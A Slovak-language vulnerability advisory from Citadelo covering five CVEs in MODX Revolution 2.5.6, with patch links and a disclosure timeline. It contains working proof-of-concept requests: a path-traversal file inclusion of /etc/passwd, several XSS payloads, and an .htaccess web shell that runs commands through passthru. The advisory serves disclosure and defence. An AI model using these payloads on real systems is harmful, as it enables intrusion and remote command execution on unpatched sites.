modx-cms-security

MODX Revolution CMS 2.5.6

Overview

Modx Revolution je skvelé CMS, ktoré je Open Source, užívateľsky prívetivé a jednoduché na použitie. Avšak, vo verzii 2.5.6 a nižších sme identifikovali viacero bezpečnostných zraniteľností.

Unauthenticated Local File Inclusion

Útočník dokáže načítať a vykonať ľubovoľný súbor na serveri vďaka nedostatočnej filtrácii používateľom zadaného argumentu action. Avšak útočník dokáže zneužiť túto zraniteľnosť iba v prípade, že server používa PHP verzie 5.3.3, čo je minimálna podporovaná verzia PHP pre Modx Revolution 2.5.6.

Požiavka, pri ktorej je načitaný (a vykonaný) súbor /etc/passwd:

GET /setup/index.php?action=../../../../../../../etc/passwd%00 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Cookie: PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch: https://github.com/modxcms/revolution/pull/13422

https://github.com/modxcms/revolution/pull/13428

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9067

Multiple Unauthenticated XSSs

Útočník dokáže vykonať útok typu Reflected XSS vložením nebezpečných znakov do niekoľkých položiek na stránke inštalácie.

GET /setup/index.php?action=database&amp;database_type=<strong><script>alert(1)<script> HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: modx_setup_language=en; PHPSESSID=20410ami2ep7vpa0bt33bcv464

Patch:

https://github.com/modxcms/revolution/pull/13424

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9068

Authenticated Code Execution

Používateľ CMS s oprávnením nahrávať súbory dokáže vykonávať ľubovoľný serverový kód. CMS blokuje súbory s nebezpečnou príponou, akými su napríklad .php alebo .exe avšak súbor s príponou .htaccess je povolený. Používateľ teda dokáže nahrať súbor s názvom .htaccess do špecifikovaného priečinka. Tento súbor môže obsahovať php kód, ktorý je pripojený ku každému požadovanému súboru s príponou .php v danom priečinku.

Možný scenár:

1, Útočník sa prihlási do Modx Revolution

2, Útočník nahrá súbor s názvom .htaccess a nasledujúcim obsahom:

php_value auto_prepend_file .htaccess
php_value output_buffering 1

###### SHELL ###### <?php ob_clean(); if ($_GET['c'] != '') { passthru($_GET['c']." 

3, Útočník následne navštívi URL http://localhost/?c=ls%20-al, pričom dostáva nasledujúci výstup:

total 29252
drwxrwxrwx 2 root root        0 Apr 10 15:45 .
drwxrwxrwx 2 root root        0 Apr  7 13:51 ..
-rwxrwxrwx 1 root root      244 Apr 10 15:44 .htaccess
drwxrwxrwx 2 root root        0 Mar 29 11:53 assets
-rwxrwxrwx 1 root root      294 Mar 29 11:53 config.core.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 connectors
drwxrwxrwx 2 root root        0 Mar 29 11:53 core
-rwxrwxrwx 1 root root   198719 Mar 23 16:24 dump.sql
-rwxrwxrwx 1 root root     3441 Mar 28 08:42 ht.access
-rwxrwxrwx 1 root root     1922 Mar 28 08:42 index.php
drwxrwxrwx 2 root root        0 Mar 29 11:50 manager
drwxrwxrwx 2 root root        0 Apr  3 11:13 setup

Patch:

https://github.com/modxcms/revolution/pull/13423

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9069

Authenticated Stored XSS

Pouzívateľ CMS s oprávnením upravovať príspevky dokáže vložiť ľubovoľný skript do názvu nejakého príspevku. Tento skript je vykonaný pri každom zobrazení tohto príspevku.

Požiavka, pri ktorej je vytvorený príspevok s názvom, ktorý obsahuje podstrčený skript:

POST /connectors/index.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3823
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfuNRFVB7kulIsnU4
Cookie: PHPSESSID=vicnm3b9laomhm7pllfgnbdf95

------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="pagetitle"

<strong>home'"><svg/onload=alert(document.domain)//</strong>
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="longtitle"

Congratulations!
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="description"

...

Keď používateľ navštívi daný príspevok, zobrazí sa mu hlásenie s aktuálnou doménou.

Patch:

https://github.com/modxcms/revolution/pull/13415

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9070

Unauthenticated XSS via HOST header

Útočník dokáže vykonať útok typu XSS vložením nebezpečných znakov do hlavičky HOST. Avšak, prevedenie tohto útoku je málo pravdepodobné. Útočník musí použiť napríklad techniku Cache Poisoning.

Požiadavka s podstrčeným skriptom v hlavičke HOST:

GET / HTTP/1.1
Host: localhost"<svg onload=alert(1)>
Connection: close
Content-Length: 0

Patch:

https://github.com/modxcms/revolution/pull/13426

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9071

Riešenie

Modx Revolution 2.5.7 obsahuje záplaty na všetky spomínané zraniteľnosti, odporúčame preto aktualizovať CMS na najnovšiu verziu.

Report timeline

29.3.2017 Dodávateľ bol informovaný o uvedených zraniteľnostiach

21.4.2017 Dodávateľ vydal novú verziu Modx Revolution s opravenými zraniteľnostiami

26.4.2017 Zverejnené zraniteľnosti

18.5.2017 Priradené CVE

Kredit

Tieto chyby našiel Tomáš Melicher zo spoločnosti Citadelo.

Referencie

https://forums.modx.com/thread/102084/modx-revolution-2-5-7-a-little-more-secure

https://raw.githubusercontent.com/modxcms/revolution/v2.5.7-pl/core/docs/changelog.txt

O autorovi

Citadelo
Citadelo je dom plný etických hackerov na vašej strane. Pomáhame otestovať ich informačnú bezpečnosť. Podrobte svoje IT prostredie výzve a odhaľte, do akej miery sú vaše citlivé dáta chránené.
Zobraziť viac od autora

Podobné blogy

Citadelo Security Evening - jar 2018

blog | | Michaela Gallee
Bizarné úniky firemných dát alebo ako si uchovať svoju virtuálnu peňaženku alebo ako sa uchrániť pred fenoménom "Black Swan". To sú témy prednášok, ktoré odzneli na Citadelo Security Evening (CSE), ktorý sa konal vo štvrtok 26.4.2018 u nás v Citadelo.
Zobraziť

Počítačová kriminalita – sme často obeťami hackerských útokov?

blog |
Už dávno neplatí, že v ohrození sú len medzinárodné spoločnosti alebo tí, čo disponujú hodnotným majetkom. Zločinci si pri útoku cez internet len málokedy vyberajú jednotlivcov - ich terčom sú masy.
Zobraziť

Bezpečnosť na internete - Viete sa správať v online priestore bezpečne?

blog |
Priemerný človek strávi na internete každý deň 3 hodiny a 20 minút. Okrem užitočných informácií a zábavy ale na nás čaká v online svete aj veľké množstvo hrozieb.
Zobraziť

Citadelo na novom a ešte bezpečnejšom webe

Blog | | Michaela Gallee
Naša požiadavka na bezpečný web sa môže niekomu zdať prehnaná, nie sme predsa svetová banka. To však nič nemení na tom, že našou víziou je bezpečný internet a preto naša priorita bola kladená na bezpečnosť.
Zobraziť